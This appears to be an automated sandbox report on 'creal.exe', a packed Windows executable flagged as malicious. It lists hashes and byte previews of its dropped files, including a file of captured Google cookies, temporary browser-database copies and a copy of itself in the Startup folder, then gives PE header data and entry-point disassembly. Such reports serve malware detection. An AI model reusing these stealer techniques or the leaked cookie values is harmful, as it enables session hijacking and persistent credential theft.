SSDEEP:	6144:7aO1lo7USZGjweMMHO4+xuVg7gCl2VdhMd1DdwMVn4TERUr3zgKpJJ/wknofFe9A:FkeMKOr97gCAE35gEGzLpwknofFe9XbE
MD5:	BFC834BB2310DDF01BE9AD9CFF7C2A41
SHA1:	FB1D601B4FCB29FF1B13B0D2ED7119BD0472205C
SHA-256:	41AD1A04CA27A7959579E87FBBDA87C93099616A64A0E66260C983381C5570D1
SHA-512:	6AF473C7C0997F2847EBE7CEE8EF67CD682DEE41720D4F268964330B449BA71398FDA8954524F9A97CC4CDF9893B8BDC7A1CF40E9E45A73F4F35A37F31C6A9C3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T..T..T..].3.Z....V......V....X....\....P....W..T..I....e....U.._.U....U..RichT..........PE..d......e.........." ...#.6..........K........................................0.......w....`..........................................w...Q..............s.... ..pM......./......`... ...8...............................@............................................text....4.......6.................. ..`.rdata...y...P...z...:..............@..@.data....N.......H..................@....pdata..XV... ...X..................@..@.idata..bc.......d...T..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..?...........................@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75242\pyexpat.pyd

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	199448
Entropy (8bit):	6.385306498353421
Encrypted:	false
SSDEEP:	3072:jJB/b2LOWs5LS04q1uqtF+ai7dYbmdRLjDxKyw6XUWdRBIpLhCujk:dB6yx5LT1gqtF+XGeL/xiBoR4g
MD5:	E2D1C738D6D24A6DD86247D105318576
SHA1:	384198F20724E4EDE9E7B68E2D50883C664EEE49
SHA-256:	CDC09FBAE2F103196215FACD50D108BE3EFF60C8EE5795DCC80BF57A0F120CDF
SHA-512:	3F9CB64B4456438DEA82A0638E977F233FAF0A08433F01CA87BA65C7E80B0680B0EC3009FA146F02AE1FDCC56271A66D99855D222E77B59A1713CAF952A807DA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W,.6B..6B..6B..N..6B..IC..6B..IG..6B..IF..6B..IA..6B...C..6B..NC..6B..6C..6B...O..6B...B..6B......6B...@..6B.Rich.6B.........PE..d....Are.........." ...%............0................................................p....`......................................... ...P...p............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata..D.... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75242\python3.dll

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68376
Entropy (8bit):	6.148687003588085
Encrypted:	false
SSDEEP:	768:/BV1EbYGVXq6KC/prVHBN0cW18itCQDFPnOMFn+gikF/nFX14uewjBcCCC0yamM8:pDmF61JFn+/OJBIpL0j7Sy5xH
MD5:	4038AF0427BCE296CA8F3E98591E0723
SHA1:	B2975225721959D87996454D049E6D878994CBF2
SHA-256:	A5BB3EB6FDFD23E0D8B2E4BCCD6016290C013389E06DAAE6CB83964FA69E2A4F
SHA-512:	DB762442C6355512625B36F112ECA6923875D10AAF6476D79DC6F6FFC9114E8C7757AC91DBCD1FB00014122BC7F656115160CF5D62FA7FA1BA70BC71346C1AD3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........T...5e..5e..5e..m..5e..e..5e.....5e..g..5e.Rich.5e.........PE..d....Are.........." ...%..................................................................`.........................................`...H................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75242\python312.dll

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7003928
Entropy (8bit):	5.780799677504345
Encrypted:	false
SSDEEP:	98304:2OUmnjqB6bHMYM3RNgqKutvDHDMiEtYkzuv:2OUmn+MnM3R+qYi3kzuv
MD5:	48EBFEFA21B480A9B0DBFC3364E1D066
SHA1:	B44A3A9B8C585B30897DDC2E4249DFCFD07B700A
SHA-256:	0CC4E557972488EB99EA4AEB3D29F3ADE974EF3BCD47C211911489A189A0B6F2
SHA-512:	4E6194F1C55B82EE41743B35D749F5D92A955B219DECACF9F1396D983E0F92AE02089C7F84A2B8296A3062AFA3F9C220DA9B7CD9ED01B3315EA4A953B4ECC6CE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............e..e..e.d..e....e.`..e.a..e.f..e....e..d..e..d...e.Bh.r.e.Be..e.B...e.Bg..e.Rich..e.................PE..d....Are.........." ...%..)..RB.....\|X........................................k.......k...`......................................... .O.d....[P......@j.......`..Y....j../...Pj.4Z...3.T.....................I.(.....3.@............0)..............................text...v.).......)................. ..`.rdata...P'..0)..R'...).............@..@.data....<....P......nP.............@....pdata...Y....`..Z...._.............@..@PyRuntim.....0c......Hb.............@....rsrc........@j......Ji.............@..@.reloc..4Z...Pj..\...Ti.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75242\pywin32_system32\pywintypes312.dll

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	134656
Entropy (8bit):	5.9953900911096785
Encrypted:	false
SSDEEP:	3072:Yuh2G0a2fYrFceQaVK756Y/r06trvoEKQAe7KL8KJKVKGajt4:Yuh2faiYrFceQaVfY/rxTBAe7KwKwVrE
MD5:	26D752C8896B324FFD12827A5E4B2808
SHA1:	447979FA03F78CB7210A4E4BA365085AB2F42C22
SHA-256:	BD33548DBDBB178873BE92901B282BAD9C6817E3EAC154CA50A666D5753FD7EC
SHA-512:	99C87AB9920E79A03169B29A2F838D568CA4D4056B54A67BC51CAF5C0FF5A4897ED02533BA504F884C6F983EBC400743E6AD52AC451821385B1E25C3B1EBCEE0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.$g..wg..wg..wn.[wk..w5..vc..w..5wf..w5..vs..w5..vo..w5..vd..ws..vf..w...ve..ws..vl..wg..w...w...vj..w...vf..w...vf..wRichg..w........PE..d......d.........." ................L........................................P............`......................................... u..`B......,....0..l.......L............@..0...`Q..T............................Q..8............................................text............................... ..`.rdata..R...........................@..@.data....-.......(..................@....pdata..L...........................@..@.rsrc...l....0......................@..@.reloc..0....@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75242\select.pyd

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30488
Entropy (8bit):	6.584443317757654
Encrypted:	false
SSDEEP:	384:OyLTFInPLnIloHqP3DT90IBIpQG28HQIYiSy1pCQ5mrUAM+o/8E9VF0NyOYl:hinzfHqv1rBIpQG/5YiSyvkrUAMxkErl
MD5:	E1604AFE8244E1CE4C316C64EA3AA173
SHA1:	99704D2C0FA2687997381B65FF3B1B7194220A73
SHA-256:	74CCA85600E7C17EA6532B54842E26D3CAE9181287CDF5A4A3C50AF4DAB785E5
SHA-512:	7BF35B1A9DA9F1660F238C2959B3693B7D9D2DA40CF42C6F9EBA2164B73047340D0ADFF8995049A2FE14E149EBA05A5974EEE153BADD9E8450F961207F0B3D42
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V..t.s.'.s.'.s.'..7'.s.'...&.s.'...&.s.'...&.s.'...&.s.'(.&.s.'.s.'Ps.'Y..&.s.'(.&.s.'(.&.s.'(.['.s.'(.&.s.'Rich.s.'........PE..d....Are.........." ...%.....2............................................................`..........................................@..L...,A..x....p.......`.......H.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75242\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1500440
Entropy (8bit):	6.5886408023548295
Encrypted:	false
SSDEEP:	24576:ATqtyGkxOc+wv05tP5kf82Hr/74YPF5o/P/gnAracr7/24UcypY7w0vpZUFq++I:nk0jwv4tP5kf8ar/74EF2/An4acrVUc2
MD5:	31CD2695493E9B0669D7361D92D46D94
SHA1:	19C1BC5C3856665ECA5390A2F9CD59B564C0139B
SHA-256:	17D547994008F1626BE2877497912687CB3EBD9A407396804310FD12C85AEAD4
SHA-512:	9DD8D1B900999E8CEA91F3D5F3F72D510F9CC28D7C6768A4046A9D2AA9E78A6ACE1248EC9574F5F6E53A6F1BDBFDF153D9BF73DBA05788625B03398716C87E1C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......SJ...+...+...+...S...+...T...+...T...+...T...+...T...+..\S...+...+...+..-....+..-....+..-.n..+..-....+..Rich.+..................PE..d....Bre.........." ...%..................................................................`..........................................d...".............................../..........P...T...............................@...............@............................text...x........................... ..`.rdata..f...........................@..@.data....G.......>..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75242\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1137944
Entropy (8bit):	5.4622357236004175
Encrypted:	false
SSDEEP:	12288:PrEHdcM6hb1CjJ43w9hIpCQvb0QN8MdIEQ+U2BNNmD+99FfciA0:PrEXQCjfk7bPNfv42BN6yzUiA0
MD5:	FC47B9E23DDF2C128E3569A622868DBE
SHA1:	2814643B70847B496CBDA990F6442D8FF4F0CB09
SHA-256:	2A50D629895A05B10A262ACF333E7A4A31DB5CB035B70D14D1A4BE1C3E27D309
SHA-512:	7C08683820498FDFF5F1703DB4AD94AD15F2AA877D044EDDC4B54D90E7DC162F48B22828CD577C9BB1B56F7C11F777F9785A9DA1867BF8C0F2B6E75DC57C3F53
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........K..K..K..B.q.M..^..I..^..F..^..C..^..H..qE.H.....I..K.....qE.J..qE.J..qE..J..qE..J..RichK..........................PE..d....Are.........." ...%.>..........`*.......................................p...... A....`.........................................p...X............P.......@.........../...`......P^..T............................]..@............P..p............................text....=.......>.................. ..`.rdata..\....P.......B..............@..@.data...X.... ......................@....pdata.......@......................@..@.rsrc........P......."..............@..@.reloc.......`.......,..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75242\win32\win32api.pyd

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	133632
Entropy (8bit):	5.851293297484796
Encrypted:	false
SSDEEP:	3072:bPwB2zC1vwC3XetCf5RlRVFhLaNKPRyymoh5Lm9b0e:bIB2zkvwGXetCfDlRVlPRy85Lm9
MD5:	3A80FEA23A007B42CEF8E375FC73AD40
SHA1:	04319F7552EA968E2421C3936C3A9EE6F9CF30B2
SHA-256:	B70D69D25204381F19378E1BB35CC2B8C8430AA80A983F8D0E8E837050BB06EF
SHA-512:	A63BED03F05396B967858902E922B2FBFB4CF517712F91CFAA096FF0539CF300D6B9C659FFEE6BF11C28E79E23115FD6B9C0B1AA95DB1CBD4843487F060CCF40
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........I^.f'..f'..f'......f'...&..f'...#..f'...$..f'.o.&..f'..."..f'...&..f'..f&..g'.o....f'.o.'..f'.o.%..f'.Rich.f'.................PE..d......d.........." .........................................................P............`..........................................................0..\....................@..$....v..T............................<..8............0..........@....................text...$........................... ..`.rdata......0......................@..@.data...x(......."..................@....pdata..............................@..@.rsrc...\....0......................@..@.reloc..$....@......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\crcookies.txt

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	275
Entropy (8bit):	5.83018576654272
Encrypted:	false
SSDEEP:	6:Pk3rocHDyzxbyv3rocHDKJmJcrDSLukrTSSIGDRmEksDVD:c79EI798HSLLXAGDR+U
MD5:	58DA1C4E7D7343D729004021FFAE7C6A
SHA1:	6BE741E07C443633796C4194E8DA13CE00D29ACE
SHA-256:	C17B0513E4A8C848E478FC56778F7152516D7A32F68A3B6CB3CD44B33676CDB0
SHA-512:	13006D75D500FC455D3E2B26D4C4D8DEF694F73F0A20A01CC5D2C24C2BAA2019F503AEA0DBD8F096F97B8F52F5779AF746FEFCBB60AEE6A83FD71B2CE3C8CC1A
Malicious:	false
Preview:	.google.com.TRUE./.FALSE.2597573456.1P_JAR.2023-10-05-09...google.com.TRUE./.FALSE.2597573456.NID.511=k9tT3q7Yfh1nx_FSl06F5UE_vdaFQreiGKe1aDN83MeveD7PL1RZXva4s-nFc9waQi9LtKavuTIba8MUkoGu58E8E81gwB_TWJ4Ng-LfCvzhem7rNrhZQ2aGvJZ9g2TYhqx2W2O4E7uHQzPk3vuLvMLxFXZsqE6NdAViQDECGpo..

C:\Users\user\AppData\Local\Tempcrcqptdpet.db

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrcuthbrer.db

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrcwsychbq.db

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8467337400211222
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOiICtj+tCXq4E1:TeAFawNLopFgU10XJBO+tq0qj
MD5:	7A03CC0EAD0AEFF210C3E60823AAA5EC
SHA1:	8B9C99FBEC440663C71F10F70B9386C68CF0EC1D
SHA-256:	D19C0286BB552C8F121A87A8B483E4997F846F0EB586F6BAF269C352678356CF
SHA-512:	8BF799B9351399523796198E1B1160AD81E1C153148D24505AAD28143698DAF77665C26BBFB24650EB150AF8D92DD1623AE8ECB62D29C93EC3E4BB206E0C83DD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrgdwfnclj.db

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrhqznfios.db

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8467337400211222
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOiICtj+tCXq4E1:TeAFawNLopFgU10XJBO+tq0qj
MD5:	7A03CC0EAD0AEFF210C3E60823AAA5EC
SHA1:	8B9C99FBEC440663C71F10F70B9386C68CF0EC1D
SHA-256:	D19C0286BB552C8F121A87A8B483E4997F846F0EB586F6BAF269C352678356CF
SHA-512:	8BF799B9351399523796198E1B1160AD81E1C153148D24505AAD28143698DAF77665C26BBFB24650EB150AF8D92DD1623AE8ECB62D29C93EC3E4BB206E0C83DD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrqefyfsfs.db

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrrrdgqmdo.db

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcruqtngrlp.db

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrxosudxqf.db

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcryoqtqfcj.db

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe

Download File

Process:	C:\Users\user\Desktop\creal.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17171619
Entropy (8bit):	7.99668685845339
Encrypted:	true
SSDEEP:	393216:uEkMDn78nxpUTLfhJuW+eGQRCMTozGxu8C0ibfz6e57xeBOxImR07KWHOcpd:uUDn87UTLJ4W+e5RLoztZ026e5VeM2KM
MD5:	DA1695DBA8BD25D00E05E7769D6D7E8E
SHA1:	884C5B84185BFCC06B2F82474642E23AF842CF26
SHA-256:	7166D6CC2435061F32CF982DBA8F6EC27FC23A46C9705AA52FB2BA08EB7011AA
SHA-512:	8D0538DEF7BF8B993F812BDBEDF3AA445637FF66746B1A041B491FBDD0E707356C2331AA56625A5C40D0CE6079CC0E9A30C9A2DE65B002027E37F2CED24C72AF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.Q...?...?...?.Z.<...?.Z.:...?.Z.;...?......?...:.9.?...;...?...<...?.Z.>...?...>...?.+.;...?.+.=...?.Rich..?.........................PE..d...%-.f.........."....%.....`.................@.............................p......).....`.....................................................x....`....... ..."...........`..X... ..................................@............... ............................text............................... ..`.rdata...-..........................@..@.data...H3..........................@....pdata..."... ...$..................@..@_RDATA..\....P......................@..@.rsrc........`......................@..@.reloc..X....`......................@..B................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.99668685845339
TrID:	Win64 Executable GUI (202006/5) 77.37% InstallShield setup (43055/19) 16.49% Win64 Executable (generic) (12005/4) 4.60% Generic Win/DOS Executable (2004/3) 0.77% DOS Executable Generic (2002/1) 0.77%
File name:	creal.exe
File size:	17'171'619 bytes
MD5:	da1695dba8bd25d00e05e7769d6d7e8e
SHA1:	884c5b84185bfcc06b2f82474642e23af842cf26
SHA256:	7166d6cc2435061f32cf982dba8f6ec27fc23a46c9705aa52fb2ba08eb7011aa
SHA512:	8d0538def7bf8b993f812bdbedf3aa445637ff66746b1a041b491fbdd0e707356c2331aa56625a5c40d0ce6079cc0e9a30c9a2de65b002027e37f2ced24c72af
SSDEEP:	393216:uEkMDn78nxpUTLfhJuW+eGQRCMTozGxu8C0ibfz6e57xeBOxImR07KWHOcpd:uUDn87UTLJ4W+e5RLoztZ026e5VeM2KM
TLSH:	6A073346929008B2F6E1D1389516C97BF732B0100754E2BF1775B2292FBB3535E3DBAA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.Q...?...?...?.Z.<...?.Z.:...?.Z.;...?.......?...:.9.?...;...?...<...?.Z.>...?...>...?.+.;...?.+.=...?.Rich..?................

File Icon


Icon Hash:	4a464cd47461e179

Static PE Info

General

Entrypoint:	0x14000c2f0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F02D25 [Sun Sep 22 14:43:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	1af6c885af093afc55142c2f1761dbe8

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F0AB5446DFCh
dec eax
add esp, 28h
jmp 00007F0AB5446A0Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F0AB5447374h
test eax, eax
je 00007F0AB5446BB3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F0AB5446B97h
dec eax
cmp ecx, eax
je 00007F0AB5446BA6h
xor eax, eax
dec eax
cmpxchg dword ptr [0003418Ch], ecx
jne 00007F0AB5446B80h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F0AB5446B89h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
movzx eax, byte ptr [00034177h]
test ecx, ecx
mov ebx, 00000001h
cmove eax, ebx
mov byte ptr [00034167h], al
call 00007F0AB5447173h
call 00007F0AB5448292h
test al, al
jne 00007F0AB5446B96h
xor al, al
jmp 00007F0AB5446BA6h
call 00007F0AB5455231h
test al, al
jne 00007F0AB5446B9Bh
xor ecx, ecx
call 00007F0AB54482A2h
jmp 00007F0AB5446B7Ch
mov al, bl
dec eax
add esp, 20h
pop ebx
ret
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
